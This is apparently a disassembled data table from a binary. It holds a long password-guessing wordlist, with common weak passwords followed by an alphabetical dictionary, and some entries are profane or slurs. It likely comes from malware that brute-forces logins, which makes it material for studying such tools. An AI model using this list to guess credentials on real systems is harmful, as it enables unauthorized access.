; "123456789" dd offset a654321 ; "654321" dd offset a54321 ; "54321" dd offset a111 ; "111" dd offset a11111111 ; "11111111" dd offset a88888888 ; "88888888" dd offset aPass_0 ; "pass" dd offset aPasswd ; "passwd" dd offset aDatabase ; "database" dd offset aAbcd ; "abcd" dd offset aAbc123 ; "abc123" dd offset aOracle ; "oracle" dd offset aSybase ; "sybase" dd offset a123qwe ; "123qwe" dd offset aComputer ; "computer" dd offset aInternet ; "Internet" dd offset aSuper ; "super" dd offset a123asd ; "123asd" dd offset aIhavenopass ; "ihavenopass" dd offset aGodblessyou ; "godblessyou" dd offset aEnable ; "enable" dd offset aXp_0 ; "xp" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2600 ; "2600" dd offset a110 ; "110" dd offset a111111 ; "111111" dd offset a121212 ; "121212" dd offset a123123 ; "123123" dd offset a1234qwer ; "1234qwer" dd offset a123abc ; "123abc" dd offset a007 ; "007" dd offset aAlpha ; "alpha" dd offset aPatrick ; "patrick" dd offset aPat ; "pat" dd offset aSex_0 ; "sex" dd offset aGod ; "god" dd offset aFoobar ; "foobar" dd offset aNilez ; "Nilez" dd offset aDevil ; "devil" dd offset aNetdevil ; "netdevil" dd offset aNetDevil ; "net-devil" dd offset a0wned ; "0wned" dd offset aOwned ; "owned" dd offset aIrule ; "irule" dd offset aNetfuck ; "netfuck" dd offset aFucked ; "fucked" dd offset aCrash ; "crash" dd offset aA_1 ; "a" dd offset aAaa ; "aaa" dd offset aAbc ; "abc" dd offset aTest123 ; "test123" dd offset aWin ; "win" dd offset aPc ; "pc" dd offset aAsdf ; "asdf" dd offset aSecret ; "secret" dd offset aQwer ; "qwer" dd offset aYxcv ; "yxcv" dd offset aZxcv ; "zxcv" dd offset aHome ; "home" dd offset aLogin ; "login" dd offset aPwd ; "pwd" dd offset aLove ; "love" dd offset aMypc ; "mypc" dd offset aMypc123 ; "mypc123" dd offset aAdmin123 ; "admin123" dd offset aPw123 ; "pw123" dd offset aMypass ; "mypass" dd offset aMypass123 ; "mypass123" dd offset aPw ; "pw" dd offset aMat ; "Mat" dd offset aMatt ; "Matt" dd offset aMatthew ; "Matthew" dd offset aGobo ; "gobo" dd offset aSatan ; "satan" dd offset aSatanik ; "satanik" dd offset aSatanic ; "satanic" dd offset aSpaceman ; "spaceman" dd offset aHeaven ; "heaven" dd offset aW00t ; "w00t" dd offset a0wn3d ; "0wn3d" dd offset aKiller ; "killer" dd offset aLeet ; "leet" dd offset aL33t ; "l33t" dd offset aL337 ; "l337" dd offset aHacker ; "hacker" dd offset aHax0r ; "hax0r" dd offset aScript ; "script" dd offset aScriptkiddie ; "scriptkiddie" dd offset aKiddie ; "kiddie" dd offset aMirc_0 ; "mirc" dd offset aUwontguessme ; "uwontguessme" dd offset aYouwontguessme ; "youwontguessme" dd offset aGuessme ; "guessme" dd offset asc_432C6C ; "x" dd offset aXx ; "xx" dd offset aXxx ; "xxx" dd offset aXxxx ; "xxxx" dd offset aXxxxx ; "xxxxx" dd offset aXxxxxx ; "xxxxxx" dd offset aXxxxxxx ; "xxxxxxx" dd offset aXxxxxxxx ; "xxxxxxxx" dd offset aXxxxxxxxx ; "xxxxxxxxx" dd offset dword_4263F0 dd offset a00 ; "00" dd offset aDeath ; "death" dd offset aTesting ; "testing" dd offset a000 ; "000" dd offset a0000 ; "0000" dd offset a00000 ; "00000" dd offset a000000 ; "000000" dd offset aAcademia ; "academia" dd offset aAcademic ; "academic" dd offset aAccept ; "accept" dd offset aAccount ; "account" dd offset aAction ; "action" dd offset aAdam ; "adam" dd offset aAdrian ; "adrian" dd offset aAdrianna ; "adrianna" dd offset aAdult ; "adult" dd offset aAerobics ; "aerobics" dd offset aAids ; "aids" dd offset aAirplane ; "airplane" dd offset aAlaska ; "alaska" dd offset aAlbany ; "albany" dd offset aAlbatros ; "albatros" dd offset aAlbert ; "albert" dd offset aAlert ; "alert" dd offset aAlex ; "alex" dd offset aAlexande ; "alexande" dd offset aAlgebra ; "algebra" dd offset aAlias ; "alias" dd offset aAliases ; "aliases" dd offset aAlice ; "alice" dd offset aAlicia ; "alicia" dd offset aAlisa ; "alisa" dd offset aAlison ; "alison" dd offset aAllison ; "allison" dd offset aAllow ; "allow" dd offset aAlphabet ; "alphabet" dd offset aAmadeus ; "amadeus" dd offset aAmanda ; "amanda" dd offset aAmber ; "amber" dd offset aAmerica ; "america" dd offset aAmorphou ; "amorphou" dd offset aAnal ; "anal" dd offset aAnalog ; "analog" dd offset aAnarchis ; "anarchis" dd offset aAnarchy ; "anarchy" dd offset aAnchor ; "anchor" dd offset aAndrea ; "andrea" dd offset aAndroid ; "android" dd offset aAndromac ; "andromac" dd offset aAndy ; "andy" dd offset aAnfo ; "anfo" dd offset aAngela ; "angela" dd offset aAngerine ; "angerine" dd offset aAngie ; "angie" dd offset aAnimal ; "animal" dd offset aAnimals ; "animals" dd offset aAnita ; "anita" dd offset aAnna ; "anna" dd offset aAnne ; "anne" dd offset aAnnette ; "annette" dd offset aAnon ; "anon" dd offset aAnonymou ; "anonymou" dd offset aAnswer ; "answer" dd offset aAnthrax ; "anthrax" dd offset aAnthropo ; "anthropo" dd offset aAnvils ; "anvils" dd offset aAnything ; "anything" dd offset aApollo13 ; "apollo13" dd offset aApril ; "april" dd offset aAria ; "aria" dd offset aAriadne ; "ariadne" dd offset aArlene ; "arlene" dd offset aArmy ; "army" dd offset aArrow ; "arrow" dd offset aArthur ; "arthur" dd offset aArtist ; "artist" dd offset aAsian ; "asian" dd offset aAsshole ; "asshole" dd offset aAthena ; "athena" dd offset aAtmosphe ; "atmosphe" dd offset aAtom ; "atom" dd offset aAttack ; "attack" dd offset aAuthoriz ; "authoriz" dd offset aAztecs ; "aztecs" dd offset aAzure ; "azure" dd offset aBabe ; "babe" dd offset aBaby ; "baby" dd offset aBacchus ; "bacchus" dd offset aBackdoor ; "backdoor" dd offset aBadass ; "badass" dd offset aBailey ; "bailey" dd offset aBall ; "ball" dd offset aBanana ; "banana" dd offset aBananas ; "bananas" dd offset aBandit ; "bandit" dd offset aBank ; "bank" dd offset aBanks ; "banks" dd offset aBarbara ; "barbara" dd offset aBarber ; "barber" dd offset aBare ; "bare" dd offset aBarf ; "barf" dd offset aBaritone ; "baritone" dd offset aBart ; "bart" dd offset aBartman ; "bartman" dd offset aBaseball ; "baseball" dd offset aBasic ; "basic" dd offset aBass ; "bass" dd offset aBassoon ; "bassoon" dd offset aBatch ; "batch" dd offset aBatman ; "batman" dd offset aBeach ; "beach" dd offset aBeammeup ; "beammeup" dd offset aBear ; "bear" dd offset aBeast ; "beast" dd offset aBeater ; "beater" dd offset aBeauty ; "beauty" dd offset aBeaver ; "beaver" dd offset aBecky ; "becky" dd offset aBeethove ; "beethove" dd offset aBegin ; "begin" dd offset aBehead ; "behead" dd offset aBell ; "bell" dd offset aBeloved ; "beloved" dd offset aBenz ; "benz" dd offset aBeowulf ; "beowulf" dd offset aBerkeley ; "berkeley" dd offset aBerlin ; "berlin" dd offset aBerliner ; "berliner" dd offset aBeryl ; "beryl" dd offset aBeta ; "beta" dd offset aBeth ; "beth" dd offset aBetsie ; "betsie" dd offset aBetty ; "betty" dd offset aBeverly ; "beverly" dd offset aBible ; "bible" dd offset aBicamera ; "bicamera" dd offset aBigfoot ; "bigfoot" dd offset aBill ; "bill" dd offset aBinary ; "binary" dd offset aBios ; "bios" dd offset aBird ; "bird" dd offset aBishop ; "bishop" dd offset aBitch ; "bitch" dd offset aBitmap ; "bitmap" dd offset aBitnet ; "bitnet" dd offset aBlack ; "black" dd offset aBlonde ; "blonde" dd offset aBlondie ; "blondie" dd offset aBlood ; "blood" dd offset aBloodaxe ; "bloodaxe" dd offset aBlow ; "blow" dd offset aBlowjob ; "blowjob" dd offset aBlue ; "blue" dd offset aBlues ; "blues" dd offset aBoard ; "board" dd offset aBomb ; "bomb" dd offset aBoner ; "boner" dd offset aBoob ; "boob" dd offset aBoobs ; "boobs" dd offset aBook ; "book" dd offset aBorn ; "born" dd offset aBoyscout ; "boyscout" dd offset aBradley ; "bradley" dd offset aBrandi ; "brandi" dd offset aBrandy ; "brandy" dd offset aBravo ; "bravo" dd offset aBreak ; "break" dd offset aBreast ; "breast" dd offset aBrenda ; "brenda" dd offset aBrian ; "brian" dd offset aBridget ; "bridget" dd offset aBroadway ; "broadway" dd offset aBrothel ; "brothel" dd offset aBrunette ; "brunette" dd offset aBrute ; "brute" dd offset aBrutefor ; "brutefor" dd offset aBulls ; "bulls" dd offset aBullshit ; "bullshit" dd offset aBumbling ; "bumbling" dd offset aBung ; "bung" dd offset aBurgess ; "burgess" dd offset aBurn ; "burn" dd offset aButch ; "butch" dd offset aButt ; "butt" dd offset aButthead ; "butthead" dd offset aCaliforn ; "californ" dd offset aCamille ; "camille" dd offset aCampanil ; "campanil" dd offset aCamping ; "camping" dd offset aCandi ; "candi" dd offset aCandy ; "candy" dd offset aCantor ; "cantor" dd offset aCaptain ; "captain" dd offset aCapture ; "capture" dd offset aCard ; "card" dd offset aCardinal ; "cardinal" dd offset aCaren ; "caren" dd offset aCarla ; "carla" dd offset aCarmen ; "carmen" dd offset aCarol ; "carol" dd offset aCarole ; "carole" dd offset aCarolina ; "carolina" dd offset aCaroline ; "caroline" dd offset aCarrie ; "carrie" dd offset aCarson ; "carson" dd offset aCascades ; "cascades" dd offset aCash ; "cash" dd offset aCastle ; "castle" dd offset aCatherin ; "catherin" dd offset aCatholic ; "catholic" dd offset aCathy ; "cathy" dd offset aCave ; "cave" dd offset aCayuga ; "cayuga" dd offset aCecily ; "cecily" dd offset aCelt ; "celt" dd offset aCeltic ; "celtic" dd offset aCeltics ; "celtics" dd offset aCerulean ; "cerulean" dd offset aChange ; "change" dd offset aCharity ; "charity" dd offset aCharles ; "charles" dd offset aCharlie ; "charlie" dd offset aCharming ; "charming" dd offset aCharon ; "charon" dd offset aChat_0 ; "chat" dd offset aChem ; "chem" dd offset aChemistr ; "chemistr" dd offset aChess ; "chess" dd offset aChester ; "chester" dd offset aChip ; "chip" dd offset aChris ; "chris" dd offset aChristin ; "christin" dd offset aChristy ; "christy" dd offset aCigar ; "cigar" dd offset aCigarett ; "cigarett" dd offset aCindy ; "cindy" dd offset aClass ; "class" dd offset aClasses ; "classes" dd offset aClassic ; "classic" dd offset aClaudia ; "claudia" dd offset aClaymore ; "claymore" dd offset aCleavage ; "cleavage" dd offset aClinton ; "clinton" dd offset aCluster ; "cluster" dd offset aClusters ; "clusters" dd offset aCoast ; "coast" dd offset aCocacola ; "cocacola" dd offset aCocainco ; "cocainco" dd offset aCock ; "cock" dd offset aCode ; "code" dd offset aCodename ; "codename" dd offset aCodeword ; "codeword" dd offset aCoffee ; "coffee" dd offset aCoin ; "coin" dd offset aCoke ; "coke" dd offset aCola ; "cola" dd offset aCold ; "cold" dd offset aCollins ; "collins" dd offset aColor ; "color" dd offset aCombat ; "combat" dd offset aComics ; "comics" dd offset aCommit ; "commit" dd offset aCommrade ; "commrade" dd offset aCompany ; "company" dd offset aComputin ; "computin" dd offset aComrade ; "comrade" dd offset aComrades ; "comrades" dd offset aCondo ; "condo" dd offset aCondom ; "condom" dd offset aConnect ; "connect" dd offset aConnie ; "connie" dd offset aConserva ; "conserva" dd offset aConsole ; "console" dd offset aContinue ; "continue" dd offset aCook ; "cook" dd offset aCookbook ; "cookbook" dd offset aCookie ; "cookie" dd offset aCool ; "cool" dd offset aCooper ; "cooper" dd offset aCopper ; "copper" dd offset aCops ; "cops" dd offset aCopy ; "copy" dd offset aCorneliu ; "corneliu" dd offset aCorrect ; "correct" dd offset aCounters ; "counters" dd offset aCountry ; "country" dd offset aCouscous ; "couscous" dd offset aCowboy ; "cowboy" dd offset aCrack ; "crack" dd offset aCrackpot ; "crackpot" dd offset aCream ; "cream" dd offset aCreate ; "create" dd offset aCreation ; "creation" dd offset aCreature ; "creature" dd offset aCredit ; "credit" dd offset aCreosote ; "creosote" dd offset aCretin ; "cretin" dd offset aCrime ; "crime" dd offset aCriminal ; "criminal" dd offset aCristina ; "cristina" dd offset aCrystal ; "crystal" dd offset aCshrc ; "cshrc" dd offset aCunt ; "cunt" dd offset aCustomer ; "customer" dd offset aCyber ; "cyber" dd offset aCyberpun ; "cyberpun" dd offset aCyberspa ; "cyberspa" dd offset aCynthia ; "cynthia" dd offset aDaemon ; "daemon" dd offset aDaisy ; "daisy" dd offset aDana ; "dana" dd offset aDancer ; "dancer" dd offset aDaniel ; "daniel" dd offset aDanielle ; "danielle" dd offset aDanny ; "danny" dd offset aDapper ; "dapper" dd offset aDark ; "dark" dd offset aDarkaven ; "darkaven" dd offset aData ; "data" dd offset aDave ; "dave" dd offset aDawn ; "dawn" dd offset aDead ; "dead" dd offset aDeathsta ; "deathsta" dd offset aDebbie ; "debbie" dd offset aDeborah ; "deborah" dd offset aDebug ; "debug" dd offset aDecember ; "december" dd offset aDeck ; "deck" dd offset aDefault ; "default" dd offset aDefault_0 ; "DEFAULT" dd offset aDefoe ; "defoe" dd offset aDelta ; "delta" dd offset aDeluge ; "deluge" dd offset aDemocrat ; "democrat" dd offset aDenise ; "denise" dd offset aDennis ; "dennis" dd offset aDesiree ; "desiree" dd offset aDesk ; "desk" dd offset aDesktop ; "desktop" dd offset aDesperat ; "desperat" dd offset aDevelop ; "develop" dd offset aDevice ; "device" dd offset aDial ; "dial" dd offset aDiamond ; "diamond" dd offset aDiana ; "diana" dd offset aDiane ; "diane" dd offset aDice ; "dice" dd offset aDick ; "dick" dd offset aDiehard ; "diehard" dd offset aDiet ; "diet" dd offset aDieter ; "dieter" dd offset aDigital ; "digital" dd offset aDinosaur ; "dinosaur" dd offset aDipshit ; "dipshit" dd offset aDirect ; "direct" dd offset aDirector ; "director" dd offset aDirty ; "dirty" dd offset aDisc ; "disc" dd offset aDiscipli ; "discipli" dd offset aDisclose ; "disclose" dd offset aDiscover ; "discover" dd offset aDisk_0 ; "disk" dd offset aDiskette ; "diskette" dd offset aDisney ; "disney" dd offset aDisplay ; "display" dd offset aDoctor ; "doctor" dd offset aDollar ; "dollar" dd offset aDong ; "dong" dd offset aDoom ; "doom" dd offset aDoom2 ; "doom2" dd offset aDoomii ; "doomii" dd offset aDoomsday ; "doomsday" dd offset aDoonesbu ; "doonesbu" dd offset aDoor ; "door" dd offset aDoors ; "doors" dd offset aDope ; "dope" dd offset aDownload ; "download" dd offset aDragon ; "dragon" dd offset aDrdoom ; "drdoom" dd offset aDrive ; "drive" dd offset aDrought ; "drought" dd offset aDuck ; "duck" dd offset aDude ; "dude" dd offset aDuelist ; "duelist" dd offset aDuke ; "duke" dd offset aDulce ; "dulce" dd offset aDuncan ; "duncan" dd offset aDungeon ; "dungeon" dd offset aDyke ; "dyke" dd offset aEager ; "eager" dd offset aEagle ; "eagle" dd offset aEarth ; "earth" dd offset aEasier ; "easier" dd offset aEasy ; "easy" dd offset aEatme ; "eatme" dd offset aEcho ; "echo" dd offset aEddie ; "eddie" dd offset aEdges ; "edges" dd offset aEdinburg ; "edinburg" dd offset aEdit ; "edit" dd offset aEdition ; "edition" dd offset aEducation ; "education" dd offset aEducatio ; "educatio" dd offset aEdwin ; "edwin" dd offset aEdwina ; "edwina" dd offset aEgghead ; "egghead" dd offset aEiderdow ; "eiderdow" dd offset aEileen ; "eileen" dd offset aEinsiein ; "einsiein" dd offset aEinstein ; "einstein" dd offset aElaine ; "elaine" dd offset aElanor ; "elanor" dd offset aElectron ; "electron" dd offset aElephant ; "elephant" dd offset aElizabet ; "elizabet" dd offset aEllen ; "ellen" dd offset aEmail ; "email" dd offset aEmerald ; "emerald" dd offset aEmily ; "emily" dd offset aEmmanuel ; "emmanuel" dd offset aEnemy ; "enemy" dd offset aEngine ; "engine" dd offset aEngineer ; "engineer" dd offset aEngland ; "england" dd offset aEnglish ; "english" dd offset aEnter ; "enter" dd offset aEnterpri ; "enterpri" dd offset aEnzyme ; "enzyme" dd offset aErenity ; "erenity" dd offset aEric ; "eric" dd offset aErica ; "erica" dd offset aErika ; "erika" dd offset aErin ; "erin" dd offset aErotic ; "erotic" dd offset aErsatz ; "ersatz" dd offset aEstablis ; "establis" dd offset aEstate ; "estate" dd offset aEternity ; "eternity" dd offset aEuclid ; "euclid" dd offset aEvelyn ; "evelyn" dd offset aExpert ; "expert" dd offset aExplode ; "explode" dd offset aExplore ; "explore" dd offset aExplorer ; "explorer" dd offset aExplosiv ; "explosiv" dd offset aExtensio ; "extensio" dd offset aFairway ; "fairway" dd offset aFaith ; "faith" dd offset aFalcon ; "falcon" dd offset aFalse ; "false" dd offset aFamily ; "family" dd offset aFarad ; "farad" dd offset aFaraday ; "faraday" dd offset aFart ; "fart" dd offset aFast ; "fast" dd offset aFear ; "fear" dd offset aFeds ; "feds" dd offset aFelicia ; "felicia" dd offset aFender ; "fender" dd offset aFermat ; "fermat" dd offset aFerrari ; "ferrari" dd offset aFidelity ; "fidelity" dd offset aField ; "field" dd offset aFight ; "fight" dd offset aFile ; "file" dd offset aFinite ; "finite" dd offset aFire ; "fire" dd offset aFirewall ; "firewall" dd offset aFishers ; "fishers" dd offset aFlakes ; "flakes" dd offset aFloat ; "float" dd offset aFlorida ; "florida" dd offset aFlower ; "flower" dd offset aFlowers ; "flowers" dd offset aFood ; "food" dd offset aFool ; "fool" dd offset aFoolproo ; "foolproo" dd offset aFootball ; "football" dd offset aForce ; "force" dd offset aFord ; "ford" dd offset aForesigh ; "foresigh" dd offset aForever ; "forever" dd offset aForm ; "form" dd offset aFormat ; "format" dd offset aFornicat ; "fornicat" dd offset aForsythe ; "forsythe" dd offset aFourier ; "fourier" dd offset aFoxtrot ; "foxtrot" dd offset aFrance ; "france" dd offset aFrank ; "frank" dd offset aFreak ; "freak" dd offset aFred ; "fred" dd offset aFree ; "free" dd offset aFreedom ; "freedom" dd offset aFrench ; "french" dd offset aFriday ; "friday" dd offset aFriend ; "friend" dd offset aFriends ; "friends" dd offset aFrighten ; "frighten" dd offset aFrog ; "frog" dd offset aFryguy ; "fryguy" dd offset aFuck ; "fuck" dd offset aFucker ; "fucker" dd offset aFucking ; "fucking" dd offset aFuckme ; "fuckme" dd offset aFuckyou ; "fuckyou" dd offset aFudge ; "fudge" dd offset aFunction ; "function" dd offset aFungible ; "fungible" dd offset aGabriel ; "gabriel" dd offset aGames ; "games" dd offset aGardner ; "gardner" dd offset aGarfield ; "garfield" dd offset aGateway ; "gateway" dd offset aGatherin ; "gatherin" dd offset aGatt ; "gatt" dd offset aGauss ; "gauss" dd offset aGeorge ; "george" dd offset aGerm ; "germ" dd offset aGertrude ; "gertrude" dd offset aGhost ; "ghost" dd offset aGibson ; "gibson" dd offset aGigabyte ; "gigabyte" dd offset aGina ; "gina" dd offset aGinger ; "ginger" dd offset aGirl ; "girl" dd offset aGlacier ; "glacier" dd offset aGold ; "gold" dd offset aGolden ; "golden" dd offset aGolf ; "golf" dd offset aGolfer ; "golfer" dd offset aGood ; "good" dd offset aGorgeous ; "gorgeous" dd offset aGorges ; "gorges" dd offset aGosling ; "gosling" dd offset aGouge ; "gouge" dd offset aGovermen ; "govermen" dd offset aGrades ; "grades" dd offset aGraham ; "graham" dd offset aGrahm ; "grahm" dd offset aGrand ; "grand" dd offset aGrant ; "grant" dd offset aGreat ; "great" dd offset aGreen ; "green" dd offset aGroup ; "group" dd offset aGryphon ; "gryphon" dd offset aGuardian ; "guardian" dd offset aGucci ; "gucci" dd offset aGuess ; "guess" dd offset aGuitar ; "guitar" dd offset aGumption ; "gumption" dd offset aGuntis ; "guntis" dd offset aHack ; "hack" dd offset aHacked ; "hacked" dd offset aHagar ; "hagar" dd offset aHair ; "hair" dd offset aHallowee ; "hallowee" dd offset aHamlet ; "hamlet" dd offset aHamster ; "hamster" dd offset aHandel ; "handel" dd offset aHandily ; "handily" dd offset aHandjob ; "handjob" dd offset aHappenin ; "happenin" dd offset aHard ; "hard" dd offset aHardcore ; "hardcore" dd offset aHarddriv ; "harddriv" dd offset aHarmony ; "harmony" dd offset aHarold ; "harold" dd offset aHarvey ; "harvey" dd offset aHate ; "hate" dd offset aHaven ; "haven" dd offset aHawaii ; "hawaii" dd offset aHead ; "head" dd offset aHeadbang ; "headbang" dd offset aHeat ; "heat" dd offset aHeathen ; "heathen" dd offset aHeather ; "heather" dd offset aHebrides ; "hebrides" dd offset aHeidi ; "heidi" dd offset aHeinlein ; "heinlein" dd offset aHell ; "hell" dd offset aHello ; "hello" dd offset aHelp ; "help" dd offset aHerb ; "herb" dd offset aHerbert ; "herbert" dd offset aHero ; "hero" dd offset aHeroin ; "heroin" dd offset aHewlett ; "hewlett" dd offset aHexadeci ; "hexadeci" dd offset aHiawatha ; "hiawatha" dd offset aHibernia ; "hibernia" dd offset aHidden ; "hidden" dd offset aHigh ; "high" dd offset aHighland ; "highland" dd offset aHitler ; "hitler" dd offset aHits ; "hits" dd offset aHole ; "hole" dd offset aHolly ; "holly" dd offset aHollywoo ; "hollywoo" dd offset aHomepage ; "homepage" dd offset aHomer ; "homer" dd offset aHomework ; "homework" dd offset aHoney ; "honey" dd offset aHooker ; "hooker" dd offset aHooters ; "hooters" dd offset aHorny ; "horny" dd offset aHorrible ; "horrible" dd offset aHorror ; "horror" dd offset aHorse ; "horse" dd offset aHorus ; "horus" dd offset aHost ; "host" dd offset aHotdog ; "hotdog" dd offset aHotel ; "hotel" dd offset aHttp_0 ; "http" dd offset aHunt ; "hunt" dd offset aHunter ; "hunter" dd offset aHutchins ; "hutchins" dd offset aHydrogen ; "hydrogen" dd offset aHyper ; "hyper" dd offset aHypertxt ; "hypertxt" dd offset aIcecream ; "icecream" dd offset aIllumina ; "illumina" dd offset aImage ; "image" dd offset aImbrogli ; "imbrogli" dd offset aImmortal ; "immortal" dd offset aImperial ; "imperial" dd offset aInclude ; "include" dd offset aIndia ; "india" dd offset aIndian ; "indian" dd offset aIndiana ; "indiana" dd offset aIndians ; "indians" dd offset aIngres ; "ingres" dd offset aIngress ; "ingress" dd offset aIngrid ; "ingrid" dd offset aInna ; "inna" dd offset aInnocuou ; "innocuou" dd offset aInput ; "input" dd offset aInside ; "inside" dd offset aInteger ; "integer" dd offset aInvent ; "invent" dd offset aIrene ; "irene" dd offset aIrishman ; "irishman" dd offset aIsis ; "isis" dd offset aJackie ; "jackie" dd offset aJail ; "jail" dd offset aJane ; "jane" dd offset aJanet ; "janet" dd offset aJanice ; "janice" dd offset aJanie ; "janie" dd offset aJapan ; "japan" dd offset aJasmin ; "jasmin" dd offset aJava ; "java" dd offset aJazz ; "jazz" dd offset aJean ; "jean" dd offset aJeanne ; "jeanne" dd offset aJeff ; "jeff" dd offset aJenni ; "jenni" dd offset aJennifer ; "jennifer" dd offset aJenny ; "jenny" dd offset aJerry ; "jerry" dd offset aJerusale ; "jerusale" dd offset aJessica ; "jessica" dd offset aJester ; "jester" dd offset aJewelry ; "jewelry" dd offset aJill ; "jill" dd offset aJixian ; "jixian" dd offset aJoanne ; "joanne" dd offset aJody ; "jody" dd offset aJohn ; "john" dd offset aJohndoe ; "johndoe" dd offset aJohnny ; "johnny" dd offset aJoseph ; "joseph" dd offset aJoshua ; "joshua" dd offset aJournal ; "journal" dd offset aJoyce ; "joyce" dd offset aJudith ; "judith" dd offset aJudy ; "judy" dd offset aJuggle ; "juggle" dd offset aJuicy ; "juicy" dd offset aJulia ; "julia" dd offset aJulie ; "julie" dd offset aJuliet ; "juliet" dd offset aJune ; "june" dd offset aJupiter ; "jupiter" dd offset aKaka ; "kaka" dd offset aKaren ; "karen" dd offset aKarie ; "karie" dd offset aKarina ; "karina" dd offset aKatana ; "katana" dd offset aKate ; "kate" dd offset aKathleen ; "kathleen" dd offset aKathrine ; "kathrine" dd offset aKathy ; "kathy" dd offset aKatina ; "katina" dd offset aKatrina ; "katrina" dd offset aKelly ; "kelly" dd offset aKeri ; "keri" dd offset aKermit ; "kermit" dd offset aKernel ; "kernel" dd offset aKerri ; "kerri" dd offset aKerrie ; "kerrie" dd offset aKerry ; "kerry" dd offset aKevin ; "kevin" dd offset aKewl ; "kewl" dd offset aKeybord ; "keybord" dd offset aKeyin ; "keyin" dd offset aKeyword ; "keyword" dd offset aKids ; "kids" dd offset aKill ; "kill" dd offset aKillthem ; "killthem" dd offset aKilo ; "kilo" dd offset aKimberly ; "kimberly" dd offset aKing ; "king" dd offset aKirk ; "kirk" dd offset aKirkland ; "kirkland" dd offset aKiss ; "kiss" dd offset aKissmyas ; "kissmyas" dd offset aKitten ; "kitten" dd offset aKlingon ; "klingon" dd offset aKnife ; "knife" dd offset aKnight ; "knight" dd offset aKnightma ; "knightma" dd offset aKnown ; "known" dd offset aKrista ; "krista" dd offset aKristen ; "kristen" dd offset aKristi ; "kristi" dd offset aKristie ; "kristie" dd offset aKristin ; "kristin" dd offset aKristine ; "kristine" dd offset aKristy ; "kristy" dd offset aLadies ; "ladies" dd offset aLadle ; "ladle" dd offset aLakers ; "lakers" dd offset aLambda ; "lambda" dd offset aLaminati ; "laminati" dd offset aLana ; "lana" dd offset aLaptop ; "laptop" dd offset aLara ; "lara" dd offset aLarkin ; "larkin" dd offset aLarry ; "larry" dd offset aLaser ; "laser" dd offset aLaura ; "laura" dd offset aLava ; "lava" dd offset aLazarus ; "lazarus" dd offset aLazer ; "lazer" dd offset aLeah ; "leah" dd offset aLebesgue ; "lebesgue" dd offset aLeft ; "left" dd offset aLeftwing ; "leftwing" dd offset aLegal ; "legal" dd offset aLeland ; "leland" dd offset aLeroy ; "leroy" dd offset aLesbian ; "lesbian" dd offset aLeslie ; "leslie" dd offset aLetmein ; "letmein" dd offset aLewis ; "lewis" dd offset aLexluthe ; "lexluthe" dd offset aLiberal ; "liberal" dd offset aLibrary ; "library" dd offset aLick ; "lick" dd offset aLicker ; "licker" dd offset aLife ; "life" dd offset aLight ; "light" dd offset aLightsab ; "lightsab" dd offset aLima ; "lima" dd offset aLimbaugh ; "limbaugh" dd offset aLimited ; "limited" dd offset aLinda ; "linda" dd offset aLink ; "link" dd offset aLion ; "lion" dd offset aLips ; "lips" dd offset aLisa ; "lisa" dd offset aLisp ; "lisp" dd offset aLiteratu ; "literatu" dd offset aLive ; "live" dd offset aLoad ; "load" dd offset aLock ; "lock" dd offset aLockout ; "lockout" dd offset aLockword ; "lockword" dd offset aLogic ; "logic" dd offset aLoginwor ; "loginwor" dd offset aLogout ; "logout" dd offset aLois ; "lois" dd offset aLolopc ; "lolopc" dd offset aLoose ; "loose" dd offset aLore ; "lore" dd offset aLori ; "lori" dd offset aLorin ; "lorin" dd offset aLorraine ; "lorraine" dd offset aLoser ; "loser" dd offset aLouis ; "louis" dd offset aLovebug ; "lovebug" dd offset aLover ; "lover" dd offset aLuck ; "luck" dd offset aLucus ; "lucus" dd offset aLucy ; "lucy" dd offset aLude ; "lude" dd offset aLuke ; "luke" dd offset aLust ; "lust" dd offset aLynn ; "lynn" dd offset aLynne ; "lynne" dd offset aMachine ; "machine" dd offset aMacintos ; "macintos" dd offset aMack ; "mack" dd offset aMacro ; "macro" dd offset aMaggot ; "maggot" dd offset aMagic ; "magic" dd offset aMagnet ; "magnet" dd offset aMail ; "mail" dd offset aMaint ; "maint" dd offset aMalcolm ; "malcolm" dd offset aMalcom ; "malcom" dd offset aMana ; "mana" dd offset aManager ; "manager" dd offset aMara ; "mara" dd offset aMarci ; "marci" dd offset aMarcy ; "marcy" dd offset aMaria ; "maria" dd offset aMariens ; "mariens" dd offset aMarietta ; "marietta" dd offset aMarijuan ; "marijuan" dd offset aMarines ; "marines" dd offset aMark ; "mark" dd offset aMarkus ; "markus" dd offset aMarni ; "marni" dd offset aMarriage ; "marriage" dd offset aMars ; "mars" dd offset aMarty ; "marty" dd offset aMarvin ; "marvin" dd offset aMary ; "mary" dd offset aMason ; "mason" dd offset aMaster ; "master" dd offset aMath ; "math" dd offset aMaurice ; "maurice" dd offset aMeagan ; "meagan" dd offset aMegabyte ; "megabyte" dd offset aMegadeth ; "megadeth" dd offset aMegan ; "megan" dd offset aMelissa ; "melissa" dd offset aMellon ; "mellon" dd offset aMelrose ; "melrose" dd offset aMember ; "member" dd offset aMemory ; "memory" dd offset aMenace ; "menace" dd offset aMenu ; "menu" dd offset aMercury ; "mercury" dd offset aMerlin ; "merlin" dd offset aMetal ; "metal" dd offset aMetalhea ; "metalhea" dd offset aMetalica ; "metalica" dd offset aMets ; "mets" dd offset aMice ; "mice" dd offset aMichael ; "michael" dd offset aMichel ; "michel" dd offset aMichelan ; "michelan" dd offset aMichele ; "michele" dd offset aMichelle ; "michelle" dd offset aMickey ; "mickey" dd offset aMicro ; "micro" dd offset aMicrochi ; "microchi" dd offset aMicropro ; "micropro" dd offset aMicrosof ; "microsof" dd offset aMidieval ; "midieval" dd offset aMike ; "mike" dd offset aMine ; "mine" dd offset aMinimum ; "minimum" dd offset aMinsky ; "minsky" dd offset aMisfit ; "misfit" dd offset aMission ; "mission" dd offset aMkii ; "mkii" dd offset aMode ; "mode" dd offset aModem ; "modem" dd offset aMogul ; "mogul" dd offset aMoguls ; "moguls" dd offset aMonday ; "monday" dd offset aMonica ; "monica" dd offset aMoom ; "moom" dd offset aMoor ; "moor" dd offset aMoose ; "moose" dd offset aMore ; "more" dd offset aMorley ; "morley" dd offset aMorris ; "morris" dd offset aMortal ; "mortal" dd offset aMortalco ; "mortalco" dd offset aMortgage ; "mortgage" dd offset aMosaic ; "mosaic" dd offset aMountain ; "mountain" dd offset aMouse ; "mouse" dd offset aMove ; "move" dd offset aMovie ; "movie" dd offset aMovies ; "movies" dd offset aMozart ; "mozart" dd offset aMpeg ; "mpeg" dd offset aMsdos ; "msdos" dd offset aMuppets ; "muppets" dd offset aMutant ; "mutant" dd offset aNagel ; "nagel" dd offset aName ; 